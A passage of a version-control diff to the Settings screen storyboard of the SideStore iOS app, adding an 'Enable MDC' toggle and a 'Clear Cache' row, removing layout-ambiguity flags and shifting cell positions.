<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="e3L-vR-Jae">
|
||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="e3L-vR-Jae">
|
||||
<rect key="frame" x="129" y="0.0" width="18" height="20.5"/>
|
||||
</imageView>
|
||||
</subviews>
|
||||
@@ -397,28 +433,28 @@
|
||||
</userDefinedRuntimeAttributes>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="0MT-ht-Sit" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||
<rect key="frame" x="0.0" y="728" width="375" height="51"/>
|
||||
<rect key="frame" x="0.0" y="779" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="0MT-ht-Sit" id="OZp-WM-5H7">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" text="Asset Designer" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="fGU-Fp-XgM">
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Asset Designer" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="fGU-Fp-XgM">
|
||||
<rect key="frame" x="30" y="15.5" width="115.5" height="20.5"/>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<color key="textColor" white="1" alpha="0.80000000000000004" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<nil key="highlightedColor"/>
|
||||
</label>
|
||||
<stackView opaque="NO" contentMode="scaleToFill" ambiguous="YES" spacing="14" translatesAutoresizingMaskIntoConstraints="NO" id="R8B-DW-7mY">
|
||||
<stackView opaque="NO" contentMode="scaleToFill" spacing="14" translatesAutoresizingMaskIntoConstraints="NO" id="R8B-DW-7mY">
|
||||
<rect key="frame" x="206" y="15.5" width="139" height="20.5"/>
|
||||
<subviews>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" text="Chris (LitRitt)" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="hId-3P-41T">
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Chris (LitRitt)" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="hId-3P-41T">
|
||||
<rect key="frame" x="0.0" y="0.0" width="107" height="20.5"/>
|
||||
<fontDescription key="fontDescription" type="system" weight="semibold" pointSize="17"/>
|
||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<nil key="highlightedColor"/>
|
||||
</label>
|
||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="baq-cE-fMY">
|
||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="baq-cE-fMY">
|
||||
<rect key="frame" x="121" y="0.0" width="18" height="20.5"/>
|
||||
</imageView>
|
||||
</subviews>
|
||||
@@ -441,19 +477,19 @@
|
||||
</userDefinedRuntimeAttributes>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="O5R-Al-lGj" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||
<rect key="frame" x="0.0" y="779" width="375" height="51"/>
|
||||
<rect key="frame" x="0.0" y="830" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="O5R-Al-lGj" id="CrG-Mr-xQq">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" text="Licenses" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="D6b-cd-pVK">
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Licenses" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="D6b-cd-pVK">
|
||||
<rect key="frame" x="30" y="15.5" width="67.5" height="20.5"/>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<color key="textColor" white="1" alpha="0.80000000000000004" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<nil key="highlightedColor"/>
|
||||
</label>
|
||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="s79-GQ-khr">
|
||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="s79-GQ-khr">
|
||||
<rect key="frame" x="327" y="16.5" width="18" height="18"/>
|
||||
</imageView>
|
||||
</subviews>
|
||||
@@ -478,22 +514,62 @@
|
||||
</tableViewCell>
|
||||
</cells>
|
||||
</tableViewSection>
|
||||
<tableViewSection id="y49-Tc-odS">
|
||||
<cells>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="DqL-lJ-MhM" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||
<rect key="frame" x="0.0" y="917" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="DqL-lJ-MhM" id="KhD-Gc-Ehv">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<switch opaque="NO" contentMode="scaleToFill" horizontalHuggingPriority="750" verticalHuggingPriority="750" contentHorizontalAlignment="center" contentVerticalAlignment="center" on="YES" translatesAutoresizingMaskIntoConstraints="NO" id="6NJ-PB-6Jz">
|
||||
<rect key="frame" x="296" y="10" width="51" height="31"/>
|
||||
<connections>
|
||||
<action selector="toggleMDCEnabled:" destination="aMk-Xp-UL8" eventType="valueChanged" id="9rd-cM-Yb1"/>
|
||||
</connections>
|
||||
</switch>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Enable MDC" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="kux-ac-Ujm">
|
||||
<rect key="frame" x="30" y="15.5" width="98.5" height="20.5"/>
|
||||
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<nil key="highlightedColor"/>
|
||||
</label>
|
||||
</subviews>
|
||||
<constraints>
|
||||
<constraint firstItem="kux-ac-Ujm" firstAttribute="centerY" secondItem="KhD-Gc-Ehv" secondAttribute="centerY" id="Ep6-5u-UiO"/>
|
||||
<constraint firstItem="kux-ac-Ujm" firstAttribute="leading" secondItem="KhD-Gc-Ehv" secondAttribute="leadingMargin" id="M3Y-cf-s4C"/>
|
||||
<constraint firstAttribute="trailingMargin" secondItem="6NJ-PB-6Jz" secondAttribute="trailing" id="SfD-jS-svQ"/>
|
||||
<constraint firstItem="6NJ-PB-6Jz" firstAttribute="centerY" secondItem="KhD-Gc-Ehv" secondAttribute="centerY" id="ymQ-xO-ARV"/>
|
||||
</constraints>
|
||||
</tableViewCellContentView>
|
||||
<color key="backgroundColor" white="1" alpha="0.14999999999999999" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<edgeInsets key="layoutMargins" top="8" left="30" bottom="8" right="30"/>
|
||||
<userDefinedRuntimeAttributes>
|
||||
<userDefinedRuntimeAttribute type="number" keyPath="style">
|
||||
<integer key="value" value="0"/>
|
||||
</userDefinedRuntimeAttribute>
|
||||
<userDefinedRuntimeAttribute type="boolean" keyPath="isSelectable" value="YES"/>
|
||||
</userDefinedRuntimeAttributes>
|
||||
</tableViewCell>
|
||||
</cells>
|
||||
</tableViewSection>
|
||||
<tableViewSection headerTitle="" id="OMa-EK-hRI">
|
||||
<cells>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="FMZ-as-Ljo" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||
<rect key="frame" x="0.0" y="870" width="375" height="51"/>
|
||||
<rect key="frame" x="0.0" y="1008" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="FMZ-as-Ljo" id="JzL-Of-A3T">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" text="Send Feedback" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="pMI-Aj-nQF">
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Send Feedback" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="pMI-Aj-nQF">
|
||||
<rect key="frame" x="30" y="15.5" width="125.5" height="20.5"/>
|
||||
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<nil key="highlightedColor"/>
|
||||
</label>
|
||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="Jyy-x0-Owj">
|
||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="Jyy-x0-Owj">
|
||||
<rect key="frame" x="327" y="16.5" width="18" height="18"/>
|
||||
</imageView>
|
||||
</subviews>
|
||||
@@ -514,19 +590,19 @@
|
||||
</userDefinedRuntimeAttributes>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="Qca-pU-sJh" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||
<rect key="frame" x="0.0" y="921" width="375" height="51"/>
|
||||
<rect key="frame" x="0.0" y="1059" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="Qca-pU-sJh" id="QtU-8J-VQN">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" text="View Refresh Attempts" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="sni-07-q0M">
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="View Refresh Attempts" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="sni-07-q0M">
|
||||
<rect key="frame" x="30" y="15.5" width="187.5" height="20.5"/>
|
||||
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<nil key="highlightedColor"/>
|
||||
</label>
|
||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="4d3-me-Hqc">
|
||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="4d3-me-Hqc">
|
||||
<rect key="frame" x="327" y="16.5" width="18" height="18"/>
|
||||
</imageView>
|
||||
</subviews>
|
||||
@@ -550,19 +626,19 @@
|
||||
</connections>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="rE2-P4-OaE" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||
<rect key="frame" x="0.0" y="972" width="375" height="51"/>
|
||||
<rect key="frame" x="0.0" y="1110" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="rE2-P4-OaE" id="qIT-rz-ZUb">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" text="View Error Log" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="PWC-OG-5jx">
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="View Error Log" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="PWC-OG-5jx">
|
||||
<rect key="frame" x="30" y="15.5" width="119" height="20.5"/>
|
||||
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<nil key="highlightedColor"/>
|
||||
</label>
|
||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="VfB-c5-5wG">
|
||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="VfB-c5-5wG">
|
||||
<rect key="frame" x="327" y="16.5" width="18" height="18"/>
|
||||
</imageView>
|
||||
</subviews>
|
||||
@@ -582,23 +658,56 @@
|
||||
<userDefinedRuntimeAttribute type="boolean" keyPath="isSelectable" value="YES"/>
|
||||
</userDefinedRuntimeAttributes>
|
||||
<connections>
|
||||
<segue destination="g8a-Rf-zWa" kind="show" identifier="showErrorLog" id="SSW-vL-86I"/>
|
||||
<segue destination="g8a-Rf-zWa" kind="show" id="vFC-Id-Ww6"/>
|
||||
</connections>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="eZ3-BT-q4D" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||
<rect key="frame" x="0.0" y="1161" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="eZ3-BT-q4D" id="17m-VV-hzf">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Clear Cache" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="IbH-V1-ce3">
|
||||
<rect key="frame" x="30" y="15.5" width="98.5" height="20.5"/>
|
||||
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<nil key="highlightedColor"/>
|
||||
</label>
|
||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="FZe-BJ-fOm">
|
||||
<rect key="frame" x="327" y="16.5" width="18" height="18"/>
|
||||
</imageView>
|
||||
</subviews>
|
||||
<constraints>
|
||||
<constraint firstItem="FZe-BJ-fOm" firstAttribute="centerY" secondItem="17m-VV-hzf" secondAttribute="centerY" id="bGv-Np-5aO"/>
|
||||
<constraint firstAttribute="trailingMargin" secondItem="FZe-BJ-fOm" secondAttribute="trailing" id="ccb-JP-Eqi"/>
|
||||
<constraint firstItem="IbH-V1-ce3" firstAttribute="centerY" secondItem="17m-VV-hzf" secondAttribute="centerY" id="iQJ-gN-sRF"/>
|
||||
<constraint firstItem="IbH-V1-ce3" firstAttribute="leading" secondItem="17m-VV-hzf" secondAttribute="leadingMargin" id="m1g-Y6-aT5"/>
|
||||
</constraints>
|
||||
</tableViewCellContentView>
|
||||
<color key="backgroundColor" white="1" alpha="0.14999999999999999" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<edgeInsets key="layoutMargins" top="8" left="30" bottom="8" right="30"/>
|
||||
<userDefinedRuntimeAttributes>
|
||||
<userDefinedRuntimeAttribute type="number" keyPath="style">
|
||||
<integer key="value" value="2"/>
|
||||
</userDefinedRuntimeAttribute>
|
||||
<userDefinedRuntimeAttribute type="boolean" keyPath="isSelectable" value="YES"/>
|
||||
</userDefinedRuntimeAttributes>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="VNn-u4-cN8" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||
<rect key="frame" x="0.0" y="1023" width="375" height="51"/>
|
||||
<rect key="frame" x="0.0" y="1212" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="VNn-u4-cN8" id="4bh-qe-l2N">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" text="Reset Pairing File" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="ysS-9s-dXm">
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Reset Pairing File" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="ysS-9s-dXm">
|
||||
<rect key="frame" x="30" y="15.5" width="140" height="20.5"/>
|
||||
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<nil key="highlightedColor"/>
|
||||
</label>
|
||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="r09-mH-pOD">
|
||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="r09-mH-pOD">
|
||||
<rect key="frame" x="327" y="16.5" width="18" height="18"/>
|
||||
</imageView>
|
||||
</subviews>
|
||||
@@ -619,19 +728,19 @@
|
||||
</userDefinedRuntimeAttributes>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="e7s-hL-kv9" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||
<rect key="frame" x="0.0" y="1074" width="375" height="51"/>
|
||||
<rect key="frame" x="0.0" y="1263" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="e7s-hL-kv9" id="yjL-Mu-HTk">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" text="Reset adi.pb" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="eds-Dj-36y">
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Reset adi.pb" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="eds-Dj-36y">
|
||||
<rect key="frame" x="30" y="15.5" width="102" height="20.5"/>
|
||||
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<nil key="highlightedColor"/>
|
||||
</label>
|
||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="0dh-yd-7i9">
|
||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="0dh-yd-7i9">
|
||||
<rect key="frame" x="327" y="16.5" width="18" height="18"/>
|
||||
</imageView>
|
||||
</subviews>
|
||||
@@ -652,19 +761,19 @@
|
||||
</userDefinedRuntimeAttributes>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="fj2-EJ-Z98" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||
<rect key="frame" x="0.0" y="1125" width="375" height="51"/>
|
||||
<rect key="frame" x="0.0" y="1314" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="fj2-EJ-Z98" id="BcT-Fs-KNg">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" text="Advanced Settings" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="OcM-OM-uDE">
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Advanced Settings" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="OcM-OM-uDE">
|
||||
<rect key="frame" x="30" y="15.5" width="154" height="20.5"/>
|
||||
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<nil key="highlightedColor"/>
|
||||
</label>
|
||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="Pcu-Sy-yfZ">
|
||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="Pcu-Sy-yfZ">
|
||||
<rect key="frame" x="327" y="16.5" width="18" height="18"/>
|
||||
</imageView>
|
||||
</subviews>
|
||||
@@ -689,15 +798,16 @@
|
||||
</sections>
|
||||
<connections>
|
||||
<outlet property="dataSource" destination="aMk-Xp-UL8" id="c6c-fR-8C4"/>
|
||||
<outlet property="delegate" destination="aMk-Xp-UL8" id="moP-1B-lRq"/>
|
||||
</connections>
|
||||
</tableView>
|
||||
<navigationItem key="navigationItem" title="Settings" id="Ddg-UQ-KJ8"/>
|
||||
<connections>
|
||||
<outlet property="MDCSwitch" destination="6NJ-PB-6Jz" id="bwj-oN-oRv"/>
|
||||
<outlet property="accountEmailLabel" destination="0uP-Cd-tNX" id="14b-aL-yE3"/>
|
||||
